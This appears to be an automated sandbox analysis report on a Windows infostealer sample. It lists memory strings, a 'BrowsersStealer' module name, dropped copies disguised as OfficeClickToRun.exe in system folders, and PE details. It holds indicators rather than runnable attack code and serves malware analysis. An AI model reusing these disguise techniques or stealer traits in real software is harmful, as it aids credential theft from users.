Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr, qKfb1Ejjpm.5.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 8vURQqkwa9.5.dr	String found in binary or memory: https://support.mozilla.org
Source: 8vURQqkwa9.5.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: 8vURQqkwa9.5.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001405F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000140A5000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F47000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000142FC000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014249000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013DA2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000141BD000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013EBB000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000142B6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001428F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E75000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014342000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014203000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000140EB000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014131000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013DE9000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F8D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014019000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014177000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013D16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013D38000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E0A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000142D7000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001426A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F68000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013EDC000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014224000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F22000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013D7E000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000141DE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000140C6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014152000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013FAE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013FF4000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E96000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013DC4000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CF2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E50000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001410C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001431D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001405F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000140A5000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F47000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000142FC000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014249000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013DA2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000141BD000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013EBB000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000142B6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001428F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E75000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014342000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014203000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000140EB000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014131000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013DE9000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F8D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014019000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014177000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013D16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e178
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013D38000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E0A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000142D7000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001426A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F68000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013EDC000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014224000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F22000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013D7E000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000141DE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000140C6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014152000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013FAE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013FF4000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E96000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013DC4000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CF2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E50000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001410C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001431D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17p
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013AB7000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr, qKfb1Ejjpm.5.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 8vURQqkwa9.5.dr	String found in binary or memory: https://www.mozilla.org
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 8vURQqkwa9.5.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 8vURQqkwa9.5.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000143A0000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000148A0000.00000004.00000800.00020000.00000000.sdmp, GQAZ5fnzuk.5.dr, 8vURQqkwa9.5.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 8vURQqkwa9.5.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000143A0000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000148A0000.00000004.00000800.00020000.00000000.sdmp, GQAZ5fnzuk.5.dr, 8vURQqkwa9.5.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File created: C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File created: C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File created: C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\e6c9b481da804f	Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B7D0D67	0_2_00007FFD9B7D0D67
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B7D5946	0_2_00007FFD9B7D5946
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B98738D	0_2_00007FFD9B98738D
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B9863F8	0_2_00007FFD9B9863F8
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B986BD3	0_2_00007FFD9B986BD3
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B986AF3	0_2_00007FFD9B986AF3
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B97011D	0_2_00007FFD9B97011D
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B984FFB	0_2_00007FFD9B984FFB
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B9757FA	0_2_00007FFD9B9757FA
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 0_2_00007FFD9B984E5C	0_2_00007FFD9B984E5C
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 5_2_00007FFD9BA00D67	5_2_00007FFD9BA00D67
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 5_2_00007FFD9BA05946	5_2_00007FFD9BA05946
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 5_2_00007FFD9BBB8579	5_2_00007FFD9BBB8579
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 5_2_00007FFD9BBB63FB	5_2_00007FFD9BBB63FB
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 5_2_00007FFD9BBB5227	5_2_00007FFD9BBB5227
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 5_2_00007FFD9BBA011D	5_2_00007FFD9BBA011D
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 5_2_00007FFD9BF592D5	5_2_00007FFD9BF592D5

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\MvQOkJAc.log 2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669

Source: FYKrlfQrxb.exe, 00000000.00000002.1690622785.0000000012B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBrowsersStealer_native.dll" vs FYKrlfQrxb.exe
Source: FYKrlfQrxb.exe, 00000000.00000002.1690622785.00000000129B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBrowsersStealer_native.dll" vs FYKrlfQrxb.exe
Source: FYKrlfQrxb.exe, 00000000.00000002.1692708995.000000001B19B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs FYKrlfQrxb.exe
Source: FYKrlfQrxb.exe, 00000000.00000002.1692708995.000000001B19B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs FYKrlfQrxb.exe
Source: FYKrlfQrxb.exe, 00000000.00000000.1655410862.0000000000582000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs FYKrlfQrxb.exe
Source: FYKrlfQrxb.exe, 00000000.00000002.1686723835.00000000027F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameBrowsersStealer_native.dll" vs FYKrlfQrxb.exe
Source: FYKrlfQrxb.exe	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs FYKrlfQrxb.exe

Source: FYKrlfQrxb.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: FYKrlfQrxb.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: OfficeClickToRun.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe0.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe1.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: FYKrlfQrxb.exe, nxldDLQCqrL7oDiEegc.cs	Cryptographic APIs: 'CreateDecryptor'
